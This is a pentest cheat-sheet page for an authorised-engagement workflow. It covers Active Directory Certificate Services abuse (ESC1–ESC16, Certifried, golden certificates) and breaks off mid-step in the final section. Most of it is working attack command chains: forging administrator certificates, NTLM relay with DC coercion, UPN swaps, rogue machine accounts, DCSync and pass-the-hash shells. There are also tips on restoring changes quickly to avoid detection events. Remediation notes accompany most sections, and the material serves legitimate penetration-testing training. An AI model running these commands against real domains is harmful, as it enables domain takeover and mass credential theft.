FLOW ^: Pentest Workflow

Stage 07 — ADCS and Certificate Abuse

CPTS attack-flow reference for stage 07 — adcs and certificate abuse in an authorised engagement.

advanced updated 2026-08-29 Certipy · Certify · OpenSSL

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 10 of 17 · Focus: Stage 07 — ADCS and Certificate Abuse

Previous: Stage 06 — ACL and Object Abuse · Next: Stage 08 — Password Attacks and Credential Hunting


📜 STAGE 7 — ADCS / Certificate Abuse

Certificates are password-equivalents that survive password resets. The whole stage is three Certipy verbs on repeat: find (triage) → req / relay / shadow / forge (get a cert for someone I shouldn’t) → auth (PKINIT → TGT + NT hash via UnPAC). Everything below feeds the same tail. Deep dives: _ADCS Attack Methodology Guide · _ADCS ESC Attack Index · Certipy-ad · Certipy-ADCS-Cheatsheet.

[!tools] Stage this Certify.exe (SHA-256 · GPG signature) — GhostPack Certify: the Windows-side enumerator/abuser (find /vulnerable, cas, pkiobjects, request /altname). Needs the CA FQDN reachable; run from a domain-joined foothold or via runas /netonly. Rubeus.exe (SHA-256 · GPG signature) — GhostPack Rubeus: the Windows-side auth tail — asktgt /certificate:cert.pfx /getcredentials /ptt does PKINIT + UnPAC + inject in one shot. SharpDPAPI.exe (SHA-256 · GPG signature) — GhostPack SharpDPAPI: cert theft side — certificates / machinecertificates unwrap DPAPI-locked user/machine certs + private keys.

Link-only drivers: Certipy (the Linux workhorse) · ForgeCert (golden certs, Windows) · PSPKIAudit (defensive audit, useful for template diffs) · Impacket ntlmrelayx (ESC8 relay).

[!warning] Certipy v5 — always pass -dc-host Omitting -dc-host in v5+ makes Certipy resolve the domain name as the DC host, get Target IP: None, and die with [Errno 113] No route to host even when -dc-ip is right. Pair -dc-ip $IP with -dc-host $DC on every command; add -ns $IP to pin DNS to the DC (the Fluffy lesson). If Certipy dies on cannot import name 'asn1' from 'cryptography.hazmat', it’s a stale lib — pipx install certipy-ad or uv tool install certipy-ad.


PKI in 60 seconds — what I’m actually attacking

  • CA (Certification Authority): the server that signs certs. Enterprise CAs live in AD under CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,... and their private key is the crown jewel (→ Golden Cert).
  • Certificate template: a blueprint object in AD (CN=Certificate Templates,...). It fixes EKU (what the cert may do — Client Authentication is the money EKU), who may enroll (ACL on the template — Domain Users/Domain Computers by default), supply-in-request (may the requester choose the subject/SAN?), and manager approval (does a human/officer have to sign off?).
  • Request flow: enrollee builds a CSR → CA checks template ACL + flags → CA signs → cert issued. Every misconfiguration below is one of those four checks being weak.
  • Auth flow: the DC validates a presented cert via PKINIT (Kerberos-as-user-with-cert) or Schannel (LDAPS/HTTPS client-cert auth). Post-May-2022, the KDC wants the cert to carry the requester’s SID extension (szOID_NTDS_CA_SECURITY_EXT) or a strong mapping — that’s what ESC6/9/10/16 and Certifried are all fighting over.
  • Issuance policy / OID group link: a template can carry an issuance-policy OID that AD links to a group — the cert then drags that group’s SID into your PAC (ESC13).

CA discovery — where’s the PKI?

# from Linux
nxc ldap "$IP" -u "$U" -p "$P" -M adcs                       # quick CA names via LDAP
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -enabled -stdout
BASEDN="DC=corp,DC=example,DC=local"                          # one DC= per domain label
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" \
  -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$BASEDN"
# from Windows (built-in, zero tooling)
certutil -config - -ping                    # list enterprise CAs
certutil -enrollmentServerURL -config "$DC\$CA-NAME"     # ESC8: is HTTP web enrollment up?
Certify.exe cas                             # CA details incl. flags (EDITF, IF_ENFORCEENCRYPTICERTREQUEST)
Certify.exe pkiobjects                      # PKI object ACLs (ESC5 surface)

Step 0 — certipy find triage (always first)

What to look for → the [!] Vulnerabilities blocks. Every ESC label maps straight to a playbook below.

Enumerate

# Vulnerable-only, straight to terminal (also writes JSON + BloodHound zip)
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -vulnerable -stdout

# Enabled templates only (quieter triage)
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -enabled -stdout

# Pass-the-hash variant
certipy-ad find -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -vulnerable -stdout

# Full dump (not just vulnerable) — hunt THEFT/PERSIST targets + CA/template names
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -json -text -output adcs_enum
# v5+: enumerate one known CA's template surface (list-templates is a `ca` option, not a subcommand)
certipy-ad ca -ca 'CA-NAME' -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -list-templates

The three registry/patch checks that decide whether the mapping attacks (ESC6/9/10/16, Certifried) still work:

# StrongCertificateBindingEnforcement on the DC — 0=off  1=compat(default)  2=full/blocked
netexec smb $IP -u "$U" -p "$P" -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement'
# CertificateMappingMethods (ESC10 — 0x4 = weak UPN mapping on)
netexec smb $IP -u "$U" -p "$P" -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods'
# Patch level (Certifried KB5014754, EKUwu KB5044281)
netexec smb $IP -u "$U" -p "$P" -x 'wmic qfe list brief | findstr "KB5014754 KB5044281"'

Windows-side enumeration — Certify.exe (staged above)

# the bread-and-butter triage
.\Certify.exe find /vulnerable
.\Certify.exe find /enrolleeSuppliesSubject        # ESC1-shaped templates only
.\Certify.exe find /clientauth                     # client-auth-capable templates
.\Certify.exe find /enabledtemplates               # what the CA actually publishes
# CA-side config (EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6, officer rights → ESC7)
.\Certify.exe cas
# PKI object ACLs — NTAuthCertificates, template containers (ESC5)
.\Certify.exe pkiobjects

[!tip] Certify output caveat Certify’s /vulnerable is ESC1–ESC8-era logic — it will not flag ESC9–ESC16. If Certify comes back clean on a 2022+ environment, that proves nothing; cross-check with certipy-ad find (v5 detects through ESC16) or read template flags by hand (CT_FLAG_NO_SECURITY_EXTENSION, issuance policies, schema version).

The universal tail — cert → auth → NT hash → shell

Every playbook ends here. Given a .pfx, PKINIT it for a TGT and the account’s NT hash (UnPAC-the-hash), then spend it:

# PKINIT + UnPAC in one shot -> writes administrator.ccache AND prints the NT hash
certipy-ad auth -pfx administrator.pfx -username administrator -domain $DOMAIN -dc-ip $IP

# Spend the TGT (quietest) — pass-the-ticket from the .ccache
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass $DC
secretsdump.py -k -no-pass $DC          # DCSync if the identity has repl rights

# ...or Pass-the-Hash with the recovered NT hash
evil-winrm -i $IP -u administrator -H <NThash>
psexec.py administrator@$IP -hashes :<NThash>
# Windows tail: Rubeus does PKINIT + UnPAC + inject (PTT) in one shot
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:certpass /getcredentials /ptt /nowrap

[!note] Pass-the-cert (no PKINIT needed) If the DC has no PKINIT (or it’s broken), the cert still authenticates over Schannel: certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $IP gives an LDAP shell as the victim; nxc ldap $IP -u administrator --pfx-cert administrator.pfx --pfx-pass '' works too (PEM key pairs use --pem-cert cert.pem --pem-key key.pem instead — there is no --pfx-key). Schannel auth maps via the DC’s CertificateMappingMethods — see the mapping gotchas below.

[!warning] Watch out

  • Clock skew kills PKINIT. certipy auth does not self-correct. On KRB_AP_ERR_SKEW prefix faketime (see faketime-cheatsheet) or sudo rdate -n $IP: faketime -f '+7h30m' certipy-ad auth -pfx administrator.pfx -dc-ip $IP.
  • Kerberos needs DNS. echo "$IP $DC $DOMAIN" | sudo tee -a /etc/hosts before any -k -no-pass.
  • No PKINIT on the DC? Fall back to Schannel/LDAPS: certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $IP.
  • Certificate has no object SID is normal for ESC1/6/7 — it means UPN-mapping fallback. Only fails when StrongCertificateBindingEnforcement = 2.

Full ESC1–ESC16 index — requirement + one-liner both ways

ESCRequirement (what find shows)Certipy one-liner (Linux)Certify + Rubeus (Windows)
ESC1ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + no manager approval + low-priv enrollees (detail)req -ca X -template Y -upn administrator@$DOMAINCertify.exe request /ca:X /template:Y /altname:administrator → Rubeus asktgt
ESC2Any Purpose / no EKU (or SubCA) (detail)req -ca X -template Y -upn … or use as agent cert for ESC3-stylesame /altname request; any-purpose cert can also be an enrollment-agent cert
ESC3CRA template (enrollment agent EKU) + no agent restrictions (detail)req -template CRAreq -template User -on-behalf-of DOM\admin -pfx cra.pfxrequest /template:CRArequest /template:User /onbehalfof:DOM\admin /enrollcert:cra.pfx
ESC4Dangerous write ACE on the template object (detail)template -save-configuration-write-default-configuration → ESC1 → restoreEdit template with certtmpl.msc/adsiedit or StandIn; then request as ESC1
ESC5Write ACE on PKI objects (CA object, NTAuthCertificates, template container) (detail)Stage-06-style ACL abuse on the object → make a template ESC1/ESC4PowerView/StandIn on the PKI object → ESC4 chain
ESC6CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 (User Specified SAN: Enabled) (detail)req -ca X -template User -upn … on ANY client-auth templaterequest /ca:X /template:User /altname:administrator
ESC7ManageCA and/or ManageCertificates on the CA (detail)ca -add-officer me-enable-template SubCA → denied req → -issue-request <id>req -retrieve <id>Certify has no CA-mgmt verbs — use certsrv.msc/certutil or run the Certipy side
ESC8HTTP web enrollment enabled + no EPA (detail)ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController + coercionRelay must run from the attack box; coerce from Windows with SpoolSample.exe
ESC9Template flag CT_FLAG_NO_SECURITY_EXTENSION + GenericWrite on a victim (detail)account -user victim -upn administrator updatereq as victim → restore UPNSet UPN with StandIn/PowerView → request as victim → restore
ESC10Weak DC mapping: CertificateMappingMethods 0x4 and/or StrongCertificateBindingEnforcement 0/1 (detail)same UPN-swap chain as ESC9; Schannel mapping also exploitableas ESC9 — the vuln is DC-side, the abuse is template-agnostic
ESC11IF_ENFORCEENCRYPTICERTREQUEST not enforced on the CA (detail)certipy-ad relay -target rpc://CAIP -ca X -template DomainController + coercionntlmrelayx from Linux; coercion from any side
ESC12Shell access to the CA server (even HSM/YubiHSM-backed keys)local admin on CA → export CA key / abuse YubiHSM plaintext storeRDP/WinRM to CA → certutil -backupKey / Mimikatz crypto::certificates /export
ESC13Template issuance-policy OID linked to a group (msDS-OIDToGroupLink) (detail)req -ca X -template LinkedTemplateauth → PAC contains group SIDrequest /template:LinkedTemplate → Rubeus asktgt (group SID in PAC)
ESC14Weak explicit mapping in altSecurityIdentities (e.g. X509RFC822 only) + write to that attributewrite a weak mapping to victim’s altSecurityIdentities, present own certPowerView Set-DomainObject on altSecurityIdentities + own cert
ESC15Schema-v1 template + unpatched CA (pre-KB5044281) = EKUwu, CVE-2024-49019 (detail)req -template Y -upn … -application-policies 'Client Authentication'n/a from Certify (policy injection is a Certipy feature) — patch level decides
ESC16szOID_NTDS_CA_SECURITY_EXT disabled CA-wide (Security Extension: Disabled) (detail)UPN-swap (ESC9 chain) against ANY templateStandIn/PowerView UPN swap + request as victim
CertifriedMAQ ≥ 1 + pre-KB5014754 DC (detail)add computer → clear SPNs → set dNSHostName = DC → req -template MachinePowermad/StandIn --computer + Certify.exe request /template:Machine
DPERSIST1Local admin on CA + software key (detail)certipy-ad ca -backup -ca 'CA-NAME'certipy-ad forge -ca-pfx …certutil -backupKeyForgeCert.exe --CaCertPath ca.pfx …

[!tip] Cert → NT hash the long way When Certipy’s auth is blocked, do the UnPAC by hand with PKINITtools: gettgtpkinit.py -cert-pfx administrator.pfx $DOMAIN/administrator admin.ccache then getnthash.py -key <AS-REP-key> $DOMAIN/administrator. Windows foothold: Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap. Full detail in THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash).


ESC1 — SAN injection (the bread-and-butter)

What to look forEnrollee Supplies Subject: True + Client Authentication: True + Requires Manager Approval: False on a template Domain Users can enroll in.

Exploit — inject the admin UPN straight into the CSR’s SAN:

certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"
# -> administrator.pfx     then run the universal auth tail
# Windows equivalent — Certify requests, Rubeus auths
.\Certify.exe request /ca:"$DC\CA-NAME" /template:VulnTemplate /altname:administrator
# -> copy the PEM (cert+key) into cert.pem, convert to pfx:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /ptt /nowrap

[!warning] Watch out The NETBIOS connection with the remote host timed out on req is a transient RPC hiccup — re-run (drop -dc-host for that one call if it persists). On a patched DC with enforcement=2 the no-SID cert is rejected; pivot to ESC16/Certifried. Add -sid 'S-1-5-21-...-500' if the box wants an object SID.

[!shield] Remediation (what to recommend) Remove Supply in the request (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) from the template, require manager approval or an authorized signature, and trim enrollment rights to the groups that actually need the cert. Audit 4886/4887 for SAN-bearing requests from odd accounts.

ESC2 — any-purpose / no-EKU (the Swiss cert)

What to look for → template with Any Purpose EKU (2.5.29.37.0) or no EKU at all, low-priv enrollment. Such a cert is valid for anything — including client auth (inject UPN like ESC1) and acting as an enrollment agent (chain into ESC3 against any template).

certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"
# or use it as a CRA cert:
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \
  -on-behalf-of "$DOMAIN\\administrator" -pfx lowpriv.pfx

[!shield] Remediation Constrain EKUs to what the service needs, never ship an any-purpose template to broad principals. Also watch the SubCA template (no EKU, ENROLLEE_SUPPLIES_SUBJECT by default) — it’s ESC2/ESC1 on steroids and should never be enabled without manager approval.

ESC3 — enrollment agent (two-template, on-behalf-of)

What to look for → Template 1 with Enrollment Agent: True (CRA EKU 1.3.6.1.4.1.311.20.2.1), the CA showing Enrollment Agent Restrictions: None, and Template 2 (usually built-in User) with client-auth EKU.

Exploit

# 1. Get the agent cert for yourself (NO -upn here)
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -ca 'CA-NAME' -template 'ESC3-CRA'
# -> lowpriv.pfx  (your staff badge)

# 2. Co-sign a cert ON BEHALF OF administrator against a client-auth template
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -ca 'CA-NAME' -template 'User' -on-behalf-of "$DOMAIN\\administrator" -pfx lowpriv.pfx
# -> administrator.pfx     then the auth tail
# Windows equivalent
.\Certify.exe request /ca:"$DC\CA-NAME" /template:ESC3-CRA
# (convert to lowpriv.pfx with openssl as above)
.\Certify.exe request /ca:"$DC\CA-NAME" /template:User /onbehalfof:$DOMAIN\administrator /enrollcert:lowpriv.pfx /enrollcertpw:certpass

[!warning] Watch out -on-behalf-of uses DOMAIN\user (NetBIOS + backslash), not UPN. If Step 2 errors, the CA has agent restrictions set (Enrollment Agent Restrictions ≠ None) and the path is dead.

[!shield] Remediation Configure Enrollment Agent Restrictions on the CA (restrict which agents can enroll on behalf, and for which templates/users), require approval on the CRA template, and scope its enrollment ACL tightly.

ESC4 — template ACL rewrite (I create the vuln)

What to look for → a low-priv principal with WriteOwner / WriteDacl / WriteProperty / GenericWrite / GenericAll on a template object. Certipy tags it ESC4 : '…' has dangerous permissions; BloodHound shows an ACE edge to the template node.

Exploit — back up, mutate to ESC1, exploit, restore:

# 1. BACK UP the original config first (build the habit)
certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -template 'VulnTemplate' -save-configuration VulnTemplate.json

# 2. Overwrite with the default ESC1 config (SAN + client-auth EKU, no approval)
certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -template 'VulnTemplate' -write-default-configuration

# 3. Now it's ESC1 — request as administrator
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"

# 4. auth tail -> get the hash BEFORE you restore

# 5. RESTORE the template (critical — noisy object change otherwise)
certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -template 'VulnTemplate' -write-configuration VulnTemplate.json -no-save

[!warning] Watch out ESC4 is the noisiest ESC — template edits fire Event ID 4899, and the 4899→4886→4887→4899 sequence is the textbook fingerprint. Get the cert + hash first, then restore immediately. Access Denied on the mutate = you only have WriteOwner; take ownership + grant yourself GenericAll first (BloodyAD/PowerView — see Stage 06). Legacy 4.x syntax uses -save-old / -target dc01.$DOMAIN instead of -save-configuration.

[!shield] Remediation Lock template ACLs to Enterprise Admins/PKI team; alert on 4899/4900 (template change events) and on 5136 writes under CN=Certificate Templates,CN=Public Key Services.

ESC5 — PKI object ACLs (the container, not the template)

What to look for → write access to the CA computer object, the CA’s AD object, CN=NTAuthCertificates, or the whole CN=Public Key Services container (Certify.exe pkiobjects / certipy-ad find show these). Abuse is pure Stage-06 ACL work on AD objects whose compromise converts to ESC1/ESC4/DPERSIST.

# e.g. WriteDacl on the template container -> grant self control -> ESC4 any template
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local' --resolve-sd
# NTAuthCertificates write -> plant a rogue CA cert -> DPERSIST2

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 (CA-wide SAN)

What to look for → CA line User Specified SAN: Enabled + Request Disposition: Issue. Certipy warns Does not work after May 2022 — believe it and check enforcement first.

Exploit — identical to ESC1 but against any client-auth template (no special template needed):

certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -ca 'CA-NAME' -template 'User' -upn "administrator@$DOMAIN"
# -> administrator.pfx     then the auth tail

[!warning] Watch out Post-KB5014754 with enforcement ≥ 1 this often fails at auth (SAN ≠ requester SID). The modern equivalent is ESC16 (SID extension disabled → UPN-swap). If ESC6 is flagged but auth bombs, jump to ESC16.

[!shield] Remediation certutil -config "CA-NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 then restart certsvc. Verify with Certify.exe cas / certipy find — the flag was historically enabled for some web-app integrations and forgotten.

ESC7 — ManageCA / ManageCertificates (approve my own request)

What to look for → a low-priv account in the CA’s ManageCa or ManageCertificates Access Rights.

Exploit — bootstrap officer rights, enable SubCA, request (gets denied), issue it yourself, retrieve:

# 1. ManageCA -> make yourself a cert officer (grants ManageCertificates)
certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -add-officer "$U"

# 2. Enable the blank-cheque SubCA template
certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -enable-template SubCA

# 3. Request as admin — WILL be denied. NOTE the Request ID.
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
  -ca 'CA-NAME' -template SubCA -upn "administrator@$DOMAIN"
#   [*] Request ID is 37   <-- grab this

# 4. Approve your own denied request with officer rights
certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -issue-request 37

# 5. Retrieve the now-issued cert
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -retrieve 37
# -> administrator.pfx     then the auth tail

Clean-up: certipy-ad ca … -remove-officer "$U" and -disable-template SubCA.

[!tip] ManageCA-only shortcut With just ManageCA you can flip the ESC6 SAN flag CA-wide instead of the SubCA dance, then exploit as ESC6 against the User template. ESC7 is frequently the path that creates ESC6.

[!shield] Remediation Audit who holds CA Administrator / Certificate Manager roles (certutil -config CA -getreg CA\Security / ICertAdmin ACLs); these roles should be as small as the DA group. Every ca verb above fires CA events (enable/disable template, officer change) — detect them.


ESC8 / ESC11 — NTLM relay to ADCS (coerce a DC → DCSync)

What to look for → ESC8: Web Enrollment: HTTP Enabled: True. ESC11: Enforce Encryption for Requests: Disabled (the RPC sibling, works even when web enrollment is off). Both need Request Disposition: Issue and a coercible DC.

Exploit (ESC8, HTTP) — two terminals:

# Terminal 1 — relay listener aimed at the CA web-enrollment endpoint
impacket-ntlmrelayx -t http://$DC/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

# Terminal 2 — coerce the DC to auth to me (LHOST = my tun0)
python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $IP     # or unauth: PetitPotam.py $LHOST $IP
python3 printerbug.py "$DOMAIN/$U:$P"@$IP $LHOST                  # SpoolSample alt
python3 dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $IP      # MS-DFSNM alt
# Terminal 1 drops DC01$.pfx

Exploit (ESC11, RPC/ICPR) — Certipy’s native relay, no ntlmrelayx:

# Terminal 1
certipy-ad relay -target rpc://$IP -ca 'CA-NAME' -template 'DomainController'
# Terminal 2 — same coercion as above (Coercer/PetitPotam) -> DC01$.pfx

Then authenticate as the machine account and DCSync:

certipy-ad auth -pfx 'DC01$.pfx' -username 'DC01$' -domain $DOMAIN -dc-ip $IP
export KRB5CCNAME='DC01$.ccache'
secretsdump.py -k -no-pass $DC        # every hash in the domain

[!warning] Watch out Loudest attack in the stage — coercion is network-noisy. Relay fails if EPA/channel-binding is on (ESC8) or IF_ENFORCEENCRYPTICERTREQUEST is set (ESC11). DC must be able to reach $LHOST on 445 — confirm with tcpdump -ni tun0 port 445. Never bind Certipy relay and ntlmrelayx on the same ports. --template Machine for a regular computer, User for a user account. Coercion tooling deep-dive: Stage 03 (PetitPotam/SpoolSample/DFSCoerce/Coercer).

[!shield] Remediation Disable the HTTP CES/CertSrv enrollment endpoints if unused; otherwise enforce HTTPS + EPA (Extended Protection for Authentication) on them. Set IF_ENFORCEENCRYPTICERTREQUEST (certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST) to kill ESC11. The real fix for the whole class: disable/stop SMB coercion paths and require SMB signing.

ESC9 / ESC10 — no security extension & weak mapping (UPN swap)

What to look for → ESC9: template flag CT_FLAG_NO_SECURITY_EXTENSION (No Security Extension: True) + GenericWrite over an account that can enroll. ESC10: DC registry allows weak mapping (CertificateMappingMethods includes 0x4, and/or StrongCertificateBindingEnforcement 0/1). Abuse is identical — steal the target’s UPN, enroll as yourself, the cert maps to the target.

# 1. read victim UPN, 2. swap my controlled account's UPN to it
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user victim read
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user me -upn victim update
# 3. enroll AS ME — cert's UPN = victim's (stolen) UPN -> maps to victim
certipy-ad req -u "me@$DOMAIN" -p "$MYP" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User'
# 4. restore my UPN, 5. auth tail
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user me -upn "me@$DOMAIN" update

[!shield] Remediation Clear CT_FLAG_NO_SECURITY_EXTENSION from templates (re-issue), set StrongCertificateBindingEnforcement = 2 after the compatibility phase, and strip weak bits from CertificateMappingMethods. Monitor 4738 UPN changes that revert within minutes.

What to look for → a template with an issuance-policy OID whose AD OID object has msDS-OIDToGroupLink set. Enroll normally; on auth the KDC drops the linked group’s SID into your PAC — you become the group without touching group membership (no 4728!).

certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'LinkedPolicyTemplate'
certipy-ad auth -pfx lowpriv.pfx -username "$U" -domain $DOMAIN -dc-ip $IP
# TGT now carries the linked group's SID

[!shield] Remediation Remove msDS-OIDToGroupLink from OID objects unless truly required; audit issuance policies on templates; treat groups reachable via OID links as tier-0.

ESC14 — weak explicit mappings (altExplicitMapping)

What to look for → explicit mappings in altSecurityIdentities that use weak formats only (X509RFC822, X509IssuerSubject) — and any write access to a target’s altSecurityIdentities attribute. An attacker who can write that attribute maps their own cert onto the victim: request a cert as yourself, write its RFC822/subject mapping onto the victim, authenticate as the victim.

# concept — write my cert's weak identifier onto the victim (GenericWrite on victim)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim altSecurityIdentities -v 'X509:<RFC822>me@'$DOMAIN
# present MY cert -> Schannel maps it to victim (needs weak mapping methods enabled)

[!shield] Remediation Prefer strong explicit mappings (X509IssuerSerialNumber, X509SHA1PublicKey, X509SKI); audit writes to altSecurityIdentities (5136) and disable weak CertificateMappingMethods bits.

ESC15 — EKUwu / schema-v1 injection (CVE-2024-49019)

What to look forschema version 1 templates (built-ins like User, WebServer) published on a CA not patched with KB5044281 (Oct 2024). v1 templates ignore CSR-supplied application policies — except the vulnerable CA happily processes them, letting you inject Client Authentication into any v1 cert.

certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \
  -upn "administrator@$DOMAIN" -application-policies 'Client Authentication'

[!shield] Remediation Patch CAs with KB5044281+; prefer schema-v2+ templates; where v1 templates must exist, restrict enrollment ACLs and enable manager approval.

ESC16 — SID extension disabled CA-wide (the Fluffy path)

What to look for → CA line Security Extension: Disabled (ESC16 : Security extension is disabled), plus I hold GenericWrite/WriteProperty over any account that can enroll in a client-auth template. This is ESC6’s living post-patch successor — SID never gets embedded, so the KDC falls back to UPN mapping regardless of StrongCertificateBindingEnforcement.

Exploitaccount actions are read/update (no lookup), positional at the end:

# 1. Read the current UPN so you can restore it EXACTLY
certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc read

# 2. Swap the controlled account's UPN to the target
certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc -upn administrator update

# 3. Enroll as that account in any client-auth template -> cert maps by UPN = admin
certipy-ad req -u ca_svc -hashes :$CA_NT -dc-ip $IP -target $DC -ca 'CA-NAME' -template User
# -> administrator.pfx

# 4. Restore the UPN IMMEDIATELY (cert stays valid — identity locked at signing)
certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc -upn "ca_svc@$DOMAIN" update

# 5. auth tail
certipy-ad auth -pfx administrator.pfx -u administrator -domain $DOMAIN -dc-ip $IP

[!warning] Watch out The rapid 4738 pair (UPN changed → changed back) is the detection fingerprint — keep Steps 2–4 tight. Same chain works for ESC9 (per-template flag) and machine-account variants swap -dns instead of -upn.

[!shield] Remediation Re-enable the security extension on the CA (don’t set szOID_NTDS_CA_SECURITY_EXT in DisableExtensionList), alert on UPN change-and-revert patterns (4738), and protect enroll-capable service accounts from GenericWrite edges (Stage 06 hygiene).


Certifried — CVE-2022-26923 (default-config priv-esc)

What to look forMachineAccountQuota ≥ 1 (default 10) + unpatched DC (pre-KB5014754, enforcement 0/1) + a Machine/Computer template domain users can enroll in. No misconfig required — vanilla AD CS is vulnerable.

Exploit — make a computer, spoof its dNSHostName to the DC, request a machine cert:

# 1. Create a machine account (needs MAQ > 0)
impacket-addcomputer "$DOMAIN/$U:$P" -dc-ip $IP -computer-name 'EVILPC$' -computer-pass 'EvilPass123!'

# 2. Clear its SPNs (SPN uniqueness blocks the dNSHostName swap otherwise)
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user 'EVILPC$' -spns '' update

# 3. Point dNSHostName at the DC
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user 'EVILPC$' -dns "$DC" update

# 4. Request a Machine cert AS the fake computer — CA reads dNSHostName = the DC
certipy-ad req -u "EVILPC\$@$DOMAIN" -p 'EvilPass123!' -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'Machine'
# -> dc01.pfx

# 5. Auth as DC01$ and DCSync
certipy-ad auth -pfx dc01.pfx -username 'DC01$' -domain $DOMAIN -dc-ip $IP
export KRB5CCNAME='DC01$.ccache'
secretsdump.py -k -no-pass $DC

Cleanup: impacket-addcomputer "$DOMAIN/$U:$P" -dc-ip $IP -computer-name 'EVILPC$' -delete.

[!warning] Watch out Constraint Violation on the -dns swap = SPNs not cleared, redo Step 2. Blocked entirely if enforcement=2 (EVILPC$ SID ≠ DC01$ SID). PKINIT as DC$ from a non-DC IP (4768) is the loud step — move fast, delete the account after.

CVE note: Certifried is CVE-2022-26923 (machine-account dNSHostName spoof). The same May-2022 bundle (KB5014754) also shipped CVE-2022-26931 (a Kerberos EoP fix) and introduced the StrongCertificateBindingEnforcement/CertificateMappingMethods hardening that defines the ESC6/9/10/16 landscape. When reporting, cite 26923 for the dNSHostName chain and check KB5014754 presence before promising either works.

Golden Certificate — DPERSIST1 (domain persistence)

What to look for → I already own the box and have local admin on the CA with a software-protected key (no HSM). This is persistence, not esc — a forged cert survives every password reset and can’t be revoked short of rebuilding the CA.

Exploit — steal the CA key once, forge offline forever:

# 1. Dump the CA cert + private key (DPAPI, needs admin on the CA)
